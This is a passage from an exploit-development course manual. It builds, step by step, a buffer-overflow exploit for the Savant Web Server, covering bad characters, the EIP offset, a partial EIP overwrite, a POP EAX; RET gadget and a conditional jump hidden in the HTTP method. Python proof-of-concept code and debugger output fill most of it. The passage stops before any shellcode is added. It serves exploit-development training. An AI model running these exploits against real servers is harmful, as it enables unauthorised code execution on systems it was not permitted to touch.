01bde94b a2 a3 a4 a5 a6 a7 a8 a9-aa ab ac ad ae af b0 b1 ................
01bde95b b2 b3 b4 b5 b6 b7 b8 b9-ba bb bc bd be bf c0 c1 ................
01bde96b c2 c3 c4 c5 c6 c7 c8 c9-ca cb cc cd ce cf d0 d1 ................
01bde97b d2 d3 d4 d5 d6 d7 d8 d9-da db dc dd de df e0 e1 ................
01bde98b e2 e3 e4 e5 e6 e7 e8 e9-ea eb ec ed ee ef f0 f1 ................
01bde99b f2 f3 f4 f5 f6 f7 f8 f9-fa fb fc fd fe ff 41 41 ..............AA
Listing 173 - Verifying that the characters are not mangled in memory

We’ll repeat this process by uncommenting one line at the time and inspecting the result after
running our proof of concept against the vulnerable software with the debugger attached.
If the application does not crash, or if we encounter a different crash which does not overwrite the
instruction pointer, we can safely assume that the previously uncommented line contains bad
characters. Once we identify the problematic line of characters, we can send each character from
that line individually to the application until we identify the bad characters.
Following this process of filtering out the bad characters, we determine that some, such as 0x0A,
prevent the vulnerable application from crashing. We also found that other characters, such as
0x0D, cause a completely different crash.
The list of all bad characters is shown below.

0x00, 0x0A, 0x0D, 0x25


Listing 174 - List of bad characters

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 163
Windows User Mode Exploit Development

With the list of bad characters and the crash analysis we did earlier, it’s time to move on. Next,
we’ll gain control of the execution flow.

6.3.1.1 Exercises
1. Update your proof of concept to include all possible hex characters.
2. Run the proof of concept multiple times until you determine all the bad characters.

6.4 Gaining Code Execution


Before dealing with the space limitations, let’s try to determine the exact offset to our instruction
pointer overwrite. We will use msf-pattern_create for the unique string and then replace it in
our current proof of concept.
...
try:
server = sys.argv[1]
port = 80

httpMethod = b"GET /"


inputBuffer =
b"Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7
Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af
6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4A
i5Ai"
httpEndRequest = b"\r\n\r\n"
...
Listing 175 - egghunter_0x03.py: Determining the offset of our overflow

Running the proof of concept from Listing 175 sometimes causes a different access violation in
which our instruction pointer is not overwritten with a unique value as expected.
(b94.d94): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
*** WARNING: Unable to verify checksum for C:\Savant\Savant.exe
eax=00694135 ebx=001a5778 ecx=0cfdd18b edx=00000001 esi=001a5778 edi=0041703c
eip=0040c05f esp=03dfe6b8 ebp=03dfea24 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246
Savant+0xc05f:
0040c05f 8b08 mov ecx,dword ptr [eax] ds:0023:00694135=????????
Listing 176 - Triggering the overflow with the unique string

Before attempting to troubleshoot the issue with the pattern, let’s quickly attempt to manually
identify the offset by splitting our buffer:
...
try:
server = sys.argv[1]
port = 80

httpMethod = b"GET /"


inputBuffer = b"\x41" * 130
inputBuffer+= b"\x42" * 130

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 164
Windows User Mode Exploit Development

httpEndRequest = b"\r\n\r\n"
...
Listing 177 - egghunter_0x03_02.py: Manually determining the offset of our overflow

We restart the vulnerable application, re-attach WinDbg to it and proceed to run our updated proof
of concept.
(1378.10b0): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
*** WARNING: Unable to verify checksum for C:\Savant\Savant.exe
eax=ffffffff ebx=01925778 ecx=3373eeb6 edx=00000000 esi=01925778 edi=0041703c
eip=42424242 esp=03efea2c ebp=42424242 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206
42424242 ?? ???
Listing 178 - Manually identifying the offset for our overwrite

The output in Listing 178 reveals that the instruction pointer is again under our control. It was also
overwritten with the 0x42424242 value as shown in the upper half of our buffer.
Let’s continue to further split the upper half of our buffer until we are able to accurately pinpoint
the exact offset required to overwrite the instruction pointer with our 260-byte buffer. This results
in a buffer of 253 bytes required prior to overwriting the instruction pointer.
This can be verified by updating our proof of concept as follows.
...
try:
server = sys.argv[1]
port = 80
size = 260

httpMethod = b"GET /"


inputBuffer = b"\x41" * 253
inputBuffer+= b"\x42\x42\x42\x42"
inputBuffer+= b"\x43" * (size - len(inputBuffer))
httpEndRequest = b"\r\n\r\n"
...
Listing 179 - egghunter_0x04.py: Testing the offset of our overflow

Running the proof of concept from Listing 179 and analyzing the crash in WinDbg confirms the
offset.
(13a0.b24): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
*** WARNING: Unable to verify checksum for C:\Savant\Savant.exe
*** ERROR: Module load completed but symbols could not be loaded for
C:\Savant\Savant.exe
eax=ffffffff ebx=015656d0 ecx=95b16e78 edx=00000000 esi=015656d0 edi=0041703c
eip=42424242 esp=0309ea2c ebp=41414141 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206
42424242 ?? ???
Listing 180 - Confirming the offset from msf-pattern_offset inside WinDbg

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 165
Windows User Mode Exploit Development

Now that we have confirmed that the offset is correct, we need to find a good instruction to
overwrite EIP with that will allow us to take control of the execution flow.
As we did in previous modules, we are going to use the narly WinDbg extension to list the
protections of the loaded modules.
To make our exploit as portable as possible, we need to choose a module that comes with the
application. In addition, the module should not be compiled with any protections. Let’s load the
extension and list the protections of all loaded modules.

0:008> .load narly


...

0:008> !nmod
00400000 00452000 Savant /SafeSEH OFF
C:\Savant\Savant.exe
687a0000 689a9000 comctl32_687a0000 /SafeSEH ON /GS *ASLR *DEP
C:\Windows\WinSxS\x86_microsoft.windows.common-
controls_6595b64144ccf1df_6.0.10240.17184_none_3bcab1476bcee5ec\comctl32.DLL
6ad00000 6ad0b000 winrnr /SafeSEH ON /GS *ASLR *DEP
C:\Windows\System32\winrnr.dll
6ad10000 6ad26000 pnrpnsp /SafeSEH ON /GS *ASLR *DEP
C:\Windows\system32\pnrpnsp.dll
6ad50000 6ad62000 napinsp /SafeSEH ON /GS *ASLR *DEP
C:\Windows\system32\napinsp.dll
...
Listing 181 - Loading the narly extension and listing the protections on all loaded modules

Listing 181 shows that this application does not come with any other modules besides the main
executable. Additionally, the Savant.exe module, compiled without any protections, seems to be
mapped at an address that starts with a null byte.
Having a null byte in the address space of the module is an issue, as the application treats our
buffer as a string. A null byte, which is a string terminator, would truncate the string, preventing us
from using even the small amount of space we have on the stack after overwriting the instruction
pointer.
While the limitations in our current test case are strict, they are not impossible to overcome.

6.4.1.1 Exercises
1. Use msf-pattern_create and msf-pattern_offset to determine the exact offset required to
overwrite the instruction pointer.
2. Use the narly extension to verify that there are no additional modules loaded in the address
space of Savant.exe that are not provided by Microsoft.

6.4.2 Partial EIP Overwrite


Since the application does not come with any additional modules and the main executable,
Savant.exe, contains a null byte in its address, we need a different approach.

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 166
Windows User Mode Exploit Development

Choosing an address from a Microsoft module would mean the exploit is dependent on whatever
version of Windows is installed on our target. In addition, we would also have to deal with other
mitigations that Microsoft introduces in its PEs, which we will cover in later modules.
To overcome this issue, we will abuse something we discovered during the initial analysis of the
crash. Specifically, we recall that our buffer is treated as a string and therefore a null byte is added
at the end of it.
Let’s run our previous proof of concept once more to confirm that this behavior is consistent
across multiple crashes.
(1738.a78): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
*** WARNING: Unable to verify checksum for C:\Savant\Savant.exe
*** ERROR: Module load completed but symbols could not be loaded for
C:\Savant\Savant.exe
eax=ffffffff ebx=003d5750 ecx=731f61bf edx=00000000 esi=003d5750 edi=0041703c
eip=42424242 esp=02fcea2c ebp=41414141 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206
42424242 ?? ???

0:003> dds @esp L4


02fcea2c 00434343 Savant+0x34343
02fcea30 02fcea84
02fcea34 0041703c Savant+0x1703c
02fcea38 003d5750
Listing 182 - Confirming our buffer ends with a null byte

The output from Listing 182 shows that our buffer is null-terminated on concurrent crashes. This
provides us with an interesting opportunity to use a technique known as a partial EIP overwrite.
Because the Savant executable is mapped in an address range that begins with a null byte, we
could use the string null terminator as part of our EIP overwrite. This will allow us to redirect the
execution flow to whatever assembly instruction we choose within the Savant.exe module.
Let’s update our proof of concept to only overwrite the lower three bytes of the EIP register as
follows.

...
try:
server = sys.argv[1]
port = 80
size = 253

httpMethod = b"GET /"


inputBuffer = b"\x41" * size
inputBuffer+= b"\x42\x42\x42"
httpEndRequest = b"\r\n\r\n"

buf = httpMethod + inputBuffer + httpEndRequest


...
Listing 183 - egghunter_0x05.py: Attempting to partially overwrite the EIP register

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 167
Windows User Mode Exploit Development

After we run the proof of concept, we inspect the crash in WinDbg. According to the output from
Listing 184, our partial EIP overwrite was successful.
(5dc.14b8): Break instruction exception - code 80000003 (first chance)
*** WARNING: Unable to verify checksum for C:\Savant\Savant.exe
*** ERROR: Module load completed but symbols could not be loaded for
C:\Savant\Savant.exe
eax=00000000 ebx=003d56d0 ecx=0000000e edx=77eb4550 esi=003d56d0 edi=0041703c
eip=00424242 esp=02efea2c ebp=41414141 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
Savant+0x24242:
00424242 cc int 3
Listing 184 - Confirming our partial EIP overwrite inside WinDbg

Having overcome this hurdle, we are now able to use an instruction that is present inside the
Savant.exe module. While this is a good first step, now we must decide on what instruction we
want to redirect the execution flow to.
One side-effect of our partial instruction pointer overwrite is that we cannot store any data past
the return address. This is because the added null byte will terminate the string. In such cases, we
cannot use an instruction like JMP ESP because the ESP register will not point to our buffer.
During our initial crash analysis, we noticed that the second DWORD on the stack at the time of
the crash points very close to our current stack pointer. In fact, it always seems to point to the
HTTP method, followed by the rest of the data we sent.
0:003> dds @esp L5
02efea2c 02effe70
02efea30 02efea84
02efea34 0041703c Savant+0x1703c
02efea38 003d56d0
02efea3c 003d56d0

0:003> dc poi(@esp+0x04)
02efea84 00544547 00000000 00000000 00000000 GET.............
02efea94 00000000 00000000 4141412f 41414141 ......../AAAAAAA
02efeaa4 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
02efeab4 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
02efeac4 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
02efead4 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
02efeae4 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
02efeaf4 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
Listing 185 - Inspecting the memory address that points further down the stack

In Listing 185, we can confirm that this is still the case, even after modifying our initial proof of
concept. Our goal now is to find an assembly instruction sequence that will redirect the execution
flow to this data.
To do this, we can use an instruction sequence such as POP R32; RET. The first POP would
remove the first DWORD from the stack. This would make ESP point to the memory address that
contains our buffer starting with the HTTP GET method. After executing the RET instruction, we
should be placed right at the beginning of our HTTP method. Using such an instruction sequence
would mean that we will have to execute the assembly instructions generated by the GET method
opcodes.

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 168
Windows User Mode Exploit Development

Before proceeding to find a POP R32; RET instruction sequence, let’s first inspect the generated
instructions from our HTTP method.
0:003> u poi(@esp+0x04)
02efea84 47 inc edi
02efea85 45 inc ebp
02efea86 54 push esp
02efea87 0000 add byte ptr [eax],al
02efea89 0000 add byte ptr [eax],al
02efea8b 0000 add byte ptr [eax],al
02efea8d 0000 add byte ptr [eax],al
02efea8f 0000 add byte ptr [eax],al
Listing 186 - Inspecting the assembly instructions generated by the “GET” string

The first instructions from Listing 186 do not seem to affect the execution flow or generate any
access violations. They include an INC operation on the EDI and EBP registers followed by a
PUSH instruction that pushes ESP to the stack.
The next instructions, generated by the null bytes after the HTTP method, use the ADD operation.
Here, the value of the AL register is added to the value that EAX is pointing to. These types of
instructions can be problematic as they operate on the assumption that EAX points to a valid
memory address.
We already know that using a POP R32; RET instruction sequence will successfully redirect the
execution flow to our buffer. As part of the POP instruction from our sequence, we can place the
DWORD that ESP points to into the register of our choice. Let’s inspect the value that will be
popped by the first instruction.

0:003> dds @esp L5


02efea2c 02effe70
02efea30 02efea84
02efea34 0041703c Savant+0x1703c
02efea38 003d56d0
02efea3c 003d56d0

0:003> !teb
TEB at 7ffdc000
ExceptionList: 02efff70
StackBase: 02f00000
StackLimit: 02efc000
SubSystemTib: 00000000
FiberData: 00001e00
ArbitraryUserPointer: 00000000
Self: 7ffdc000
EnvironmentPointer: 00000000
ClientId: 000005dc . 000014b8
RpcHandle: 00000000
Tls Storage: 0028f508
PEB Address: 7ffdb000
LastErrorValue: 0
LastStatusValue: c000000d
Count Owned Locks: 0
HardErrorMode: 0
Listing 187 - Inspecting the DWORD that will be popped into a register

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 169
Windows User Mode Exploit Development

Listing 187 shows the first DWORD on the stack (02effe70) points to a memory location that is
part of the stack space and is therefore a valid memory address.
This means that if we can find an instruction sequence like POP EAX; RET, we can guarantee that
EAX will point to a valid memory address. Let’s run msf-nasm_shell and get the opcodes for the
POP EAX; RET sequence.
kali@kali:~$ msf-nasm_shell
nasm > pop eax
00000000 58 pop eax

nasm > ret


00000000 C3 ret
Listing 188 - Obtaining the opcodes for our POP EAX; RET instruction sequence

Now that we have the opcodes for our instruction sequence, we can search for this sequence
inside WinDbg.
0:003> lm m Savant
Browse full module list
start end module name
00400000 00452000 Savant C (no symbols)

0:004> s -[1]b 00400000 00452000 58 c3


0x00418674
0x0041924f
0x004194f6
0x00419613
0x0041a531
0x0041af7f
...
Listing 189 - Searching for a POP EAX; RET instruction in the memory range of Savant.exe

Once we choose a memory address that points to our instruction sequence and does not contain
bad characters, we will update our proof of concept to use it.
...
try:
server = sys.argv[1]
port = 80
size = 253

httpMethod = b"GET /"


inputBuffer = b"\x41" * size
inputBuffer+= pack("<L", (0x418674)) # 0x00418674 - pop eax; ret
httpEndRequest = b"\r\n\r\n"

buf = httpMethod + inputBuffer + httpEndRequest


...
Listing 190 - egghunter_0x06.py: Redirecting execution flow to our HTTP method

Before running the proof of concept from Listing 190, we set a breakpoint at the memory address
pointing to the POP EAX; RET instruction sequence.

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 170
Windows User Mode Exploit Development

0:008> bp 0x00418674
*** WARNING: Unable to verify checksum for C:\Savant\Savant.exe
*** ERROR: Module load completed but symbols could not be loaded for
C:\Savant\Savant.exe

0:003> bl
0 e Disable Clear 00418674 0001 (0001) 0:**** Savant+0x18674

0:008> g
Breakpoint 0 hit
eax=00000000 ebx=015d5750 ecx=0000000e edx=77d94550 esi=015d5750 edi=0041703c
eip=00418674 esp=0305ea2c ebp=41414141 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
Savant+0x18674:
00418674 58 pop eax
Listing 191 - Hitting the breakpoint at our POP EAX; RET instruction sequence

Listing 191 shows that we hit our breakpoint. We now have a reliable and portable way of
redirecting execution flow. Let’s try to single-step through the instructions and return into our
data.
0:003> t
eax=0305fe70 ebx=015d5750 ecx=0000000e edx=77d94550 esi=015d5750 edi=0041703c
eip=00418675 esp=0305ea30 ebp=41414141 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
Savant+0x18675:
00418675 c3 ret

0:003> t
eax=0305fe70 ebx=015d5750 ecx=0000000e edx=77d94550 esi=015d5750 edi=0041703c
eip=0305ea84 esp=0305ea34 ebp=41414141 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
0305ea84 47 inc edi

0:003> u @eip
0305ea84 47 inc edi
0305ea85 45 inc ebp
0305ea86 54 push esp
0305ea87 0000 add byte ptr [eax],al
0305ea89 0000 add byte ptr [eax],al
0305ea8b 0000 add byte ptr [eax],al
0305ea8d 0000 add byte ptr [eax],al
0305ea8f 0000 add byte ptr [eax],al

0:003> dc @eip
0305ea84 00544547 00000000 00000000 00000000 GET.............
0305ea94 00000000 00000000 4141412f 41414141 ......../AAAAAAA
0305eaa4 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
0305eab4 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
0305eac4 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
0305ead4 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
0305eae4 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
0305eaf4 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
Listing 192 - Stepping through the POP EAX; RET instruction sequence

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 171
Windows User Mode Exploit Development

Listing 192 shows that after the RET instruction, our instruction pointer points to the first
assembly instruction (INC EDI) generated by the opcodes of the HTTP GET method.
Because we made sure that EAX would contain a valid memory address, we should be able to
execute these instructions without generating an access violation, until we reach our buffer of
0x41 characters.
While this solution works, executing assembly instructions generated by the opcodes of our
HTTP method is not very clean. Let’s explore some other options in the hopes of finding a more
elegant way of reaching the start of our 0x41 buffer.

6.4.2.1 Exercises
1. Update your proof of concept to partially overwrite the instruction pointer. Make sure you
take the time to understand how and why such a technique works.
2. Find a valid instruction sequence that would redirect the execution flow to your data. If you
use a different register in the first POP instruction, could you still let the execution flow
proceed without any issues until you reach your 0x41 buffer?
3. Update your proof of concept with the instruction sequence from Exercise 2. Set and hit a
breakpoint at the memory address of the instruction sequence.

6.4.3 Changing the HTTP Method


In order to find a more elegant way to reach our buffer of 0x41 characters, we need to take a
closer look at our crash. Let’s run our proof of concept once more and stop right before the RET
instruction. Before executing the instruction, we will inspect the memory we are about to return
into with the dc (display DWORD + ASCII) command.
...
eax=0305fe70 ebx=00195750 ecx=0000000e edx=77d94550 esi=00195750 edi=0041703c
eip=00418675 esp=0305ea30 ebp=41414141 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
Savant+0x18675:
00418675 c3 ret

0:003> dc poi(@esp)
0305ea84 00544547 00000000 00000000 00000000 GET.............
0305ea94 00000000 00000000 4141412f 41414141 ......../AAAAAAA
0305eaa4 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
0305eab4 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
0305eac4 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
0305ead4 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
0305eae4 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
0305eaf4 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
Listing 193 - Inspecting the buffer we return into

In Listing 193, we notice a padding of null bytes between the HTTP method and our other data.
While reverse-engineering the inner workings of the Savant Web Server software is outside the
scope of this module, we can make some assumptions based on what we observe inside
WinDbg.

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 172
Windows User Mode Exploit Development

The buffer used to store the HTTP method seems to be allocated with a fixed size. Furthermore, it
appears that the buffer is quite large, based on what it’s meant to store.
The difference between the size of the allocation storing the HTTP method and the size of the
method itself makes us question whether or not there are any checks implemented for the HTTP
method. If there are no checks, we could attempt to replace it with opcodes for assembly
instructions that would allow us to jump to our 0x41 field buffer.
Let’s update our proof of concept and replace the GET method with some hex bytes of our
choice:
...
try:
server = sys.argv[1]
port = 80
size = 253

httpMethod = b"\x43\x43\x43\x43\x43\x43\x43\x43" + b" /"


inputBuffer = b"\x41" * size
inputBuffer+= pack("<L", (0x418674)) # 0x00418674 - pop eax; ret
httpEndRequest = b"\r\n\r\n"

buf = httpMethod + inputBuffer + httpEndRequest


...
Listing 194 - egghunter_0x07.py: Replacing the HTTP method

Before running the proof of concept, we will re-attach WinDbg to Savant and set a breakpoint at
our POP EAX; RET instruction sequence.
0:008> bp 0x00418674
*** WARNING: Unable to verify checksum for C:\Savant\Savant.exe
*** ERROR: Module load completed but symbols could not be loaded for
C:\Savant\Savant.exe

0:008> bl
0 e Disable Clear 00418674 0001 (0001) 0:**** Savant+0x18674

0:008> g
Breakpoint 0 hit
eax=00000000 ebx=01465750 ecx=0000000e edx=77d94550 esi=01465750 edi=0041703c
eip=00418674 esp=0304ea2c ebp=41414141 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
Savant+0x18674:
00418674 58 pop eax

0:003> dc poi(@esp+4)
0304ea84 43434343 43434343 00000000 00000000 CCCCCCCC........
0304ea94 00000000 00000000 4141412f 41414141 ......../AAAAAAA
0304eaa4 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
0304eab4 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
0304eac4 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
0304ead4 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
0304eae4 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
0304eaf4 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
Listing 195 - Triggering the crash with the updated HTTP method

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 173
Windows User Mode Exploit Development

The output from Listing 195 shows that we were able to successfully change our HTTP method
to an invalid one without affecting the crash. We hit our breakpoint, and when inspecting the
memory address located on the stack, our HTTP method was updated with 0x43 (“C”) characters.
This could be an opportunity to use a short jump as we did in a previous module. According to the
output from Listing 195, if we use a short jump of 0x17 bytes, we should end up in our buffer.
Let’s update our proof of concept to include the short jump.
...
try:
server = sys.argv[1]
port = 80
size = 253

httpMethod = b"\xeb\x17\x90\x90" + b" /" # Short jump of 0x17


inputBuffer = b"\x41" * size
inputBuffer+= pack("<L", (0x418674)) # 0x00418674 - pop eax; ret
httpEndRequest = b"\r\n\r\n"

buf = httpMethod + inputBuffer + httpEndRequest


...
Listing 196 - egghunter_0x08.py: Replacing the HTTP method with a short jump

Before running the proof of concept, we need to set a breakpoint at the address of our POP EAX;
RET instruction sequence. This will allow us to single-step through the assembly code and
confirm that our jump is correct and that we reach the desired memory address.
Breakpoint 0 hit
eax=00000000 ebx=01475750 ecx=0000000e edx=77d94550 esi=01475750 edi=0041703c
eip=00418674 esp=0306ea2c ebp=41414141 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
Savant+0x18674:
00418674 58 pop eax

0:003> t
eax=0306fe70 ebx=01475750 ecx=0000000e edx=77d94550 esi=01475750 edi=0041703c
eip=00418675 esp=0306ea30 ebp=41414141 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
Savant+0x18675:
00418675 c3 ret

0:003> t
eax=0306fe70 ebx=01475750 ecx=0000000e edx=77d94550 esi=01475750 edi=0041703c
eip=0306ea84 esp=0306ea34 ebp=41414141 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
0306ea84 cb retf ..

0:003> db @eip L2
0306ea84 cb 17 ..

0:003> u @eip
0306ea84 cb retf
0306ea85 17 pop ss
0306ea86 90 nop

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 174
Windows User Mode Exploit Development

0306ea87 90 nop
0306ea88 0000 add byte ptr [eax],al
0306ea8a 0000 add byte ptr [eax],al
0306ea8c 0000 add byte ptr [eax],al
0306ea8e 0000 add byte ptr [eax],al

Listing 197 - Discovering the additional bad character

In Listing 197, we find that instead of our short jump assembly instruction, we get an unexpected
RETF147 instruction.
We previously tested for bad characters by sending all possible hex values to the vulnerable
application, but this character was not mangled. Given that this memory is most likely allocated
separately from the allocation storing the rest of our buffer, it is possible that different operations
are done that cause our byte to get mangled.
The above instance is an ideal example in which we find that different memory allocations will
have different operations and checks performed on the data stored in them. This means that in
such cases, we may find a completely different set of bad characters than initially discovered.
Let’s try to find alternatives that will yield the same results as a short jump.

6.4.3.1 Exercises
1. Take your latest proof of concept and attempt to replace the HTTP method with bytes of
your choice.
2. Confirm that replacing the HTTP method does not alter our crash and we are still able to
overwrite the instruction pointer.
3. Attempt to use a short jump and confirm that the 0xEB byte from our short jump is mangled
before it is stored in memory. Are there any others?

6.4.4 Conditional Jumps


Since we can’t use a short jump, we need to find an alternative solution that will place us in our
buffer. One way to solve this problem, for example, is to perform arithmetic operations on the ESP
register and make it point to the beginning of our buffer. While that is certainly an option, we
would like to determine if we can use a different kind of instruction that would take us to the exact
location as our short jump.
Conditional Jumps148 are the most common way to transfer control in assembly. As the name
implies, they execute a jump depending on specific conditions. This process occurs in two steps,
the first one being a test on the condition followed by a jump if the condition is true, or continue
the execution without jumping if false.

147
(80x86 Instructions), http://spike.scu.edu.au/~barry/80x86_inst.html#RET
148
(Conditional Jumps Instructions Lecture),
http://www.philadelphia.edu.jo/academics/qhamarsheh/uploads/Lecture%2018%20Conditional%20Jumps%20Instructions.pdf

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 175
Windows User Mode Exploit Development

There are a number of conditional jumps149 in the assembly language that


depend on registry values, FLAG150 registers, and comparisons between signed
or unsigned operands. We encourage you to read up on them and get
comfortable with how they work.

While we do have a limited memory space that is allocated for the HTTP method, it should still be
more than enough for us to set up a condition followed by a jump for that condition.
Our conditional jump of choice is JE.151 This instruction will execute a short jump and the
condition for this jump is based on the value of the Zero Flag152 (ZF) register. More specifically,
the jump will be taken if the value of the ZF register is set to 1 (TRUE).

The Zero Flag register is a single bit flag that is used on most architectures. On
x86/x64, it is stored in a dedicated register called ZF. This flag is used to check
the result of arithmetic operations. It is set to 1 (TRUE) if the result of an
arithmetic operation is zero and otherwise set to 0 (FALSE).

To use this conditional jump as part of our exploit, we need to guarantee that the ZF will always
be 1 (TRUE). We can do this in two steps. First, we use an XOR153 operation instruction with ECX
as both destination (the first operand) and source (the second operand).

The XOR instruction does a bitwise operation. The resultant bit is set to 1 only if
the bit from the other operand is different. Using the XOR bitwise operation with
the same destination and source will always result in 0. This is a common way to
null a register.

While we chose to use the ECX register for our XOR operation, using other
registers will produce the same result.

Once we null the ECX register, we can use a TEST154 instruction with ECX for both operands. In
our case, this will set the ZF to 1 (TRUE).

149
(Faydoc - All Assembly Jump Instructions), http://faydoc.tripod.com/cpu/index_j.htm
150
(Wikipedia - FLAGS register, 2020), https://en.wikipedia.org/wiki/FLAGS_register
151
(CIS-77 - Brief x86 Instruction Set Reference), http://www.c-jump.com/CIS77/reference/ISA/DDU0098.html
152
(Wikipedia - Zero Flag, 2019), https://en.wikipedia.org/wiki/Zero_flag
153
(XOR - x86 Instruction Set Reference), https://c9x.me/x86/html/file_module_x86_id_330.html
154
(TEST - x86 Instruction Set Reference), https://c9x.me/x86/html/file_module_x86_id_315.html

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 176
Windows User Mode Exploit Development

TEST performs a bit-wise logical AND155 operation and sets the ZF (amongst
others) according to the result. The AND operation sets each bit to 1 if both
corresponding bits of the operands are 1, otherwise, it is set to 0.

Let’s use msf-nasm_shell again to get the opcodes for our two instructions.
kali@kali:~$ msf-nasm_shell
nasm > xor ecx, ecx
00000000 31C9 xor ecx,ecx

nasm > test ecx, ecx


00000000 85C9 test ecx,ecx

nasm > je 0x17


00000000 0F8411000000 jz near 0x17
Listing 198 - Using msf-nasm_shell to obtain the opcodes for our conditional jump

Both JE and JZ conditional jumps check if the ZF is set as a condition. Because


of this, they have the same opcodes and various tools will use them
interchangeably.

The opcodes generated in Listing 198 do not seem to include bad characters except for the
conditional jump opcodes, which include three null bytes.
At first glance, this seems problematic, but remember that the memory allocation is zeroed out
before the HTTP method is copied to it. This means that we don’t necessarily need to send the
null bytes. We can just send the first opcodes and use the existing null bytes to complete our
instruction.
Here is an updated proof of concept that includes all of the changes.
...
try:
server = sys.argv[1]
port = 80
size = 253

httpMethod = b"\x31\xC9\x85\xC9\x0F\x84\x11" + b" /" # xor ecx, ecx; test ecx, ecx;
je 0x17
inputBuffer = b"\x41" * size
inputBuffer+= pack("<L", (0x418674)) # 0x00418674 - pop eax; ret
httpEndRequest = b"\r\n\r\n"

155
(AND - x86 Instruction Set Reference), https://c9x.me/x86/html/file_module_x86_id_12.html

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 177
Windows User Mode Exploit Development

buf = httpMethod + inputBuffer + httpEndRequest


...
Listing 199 - egghunter_0x09.py: Replacing the HTTP method with a conditional jump

Before we run the proof of concept, we once again set a breakpoint at the address of our POP
EAX; RET instruction sequence. Once we hit our breakpoint, we will single-step through the
instructions. Before we execute the return, we use the u (unassemble) command to display the
next three instructions to be executed in order to confirm the opcodes have not been mangled.
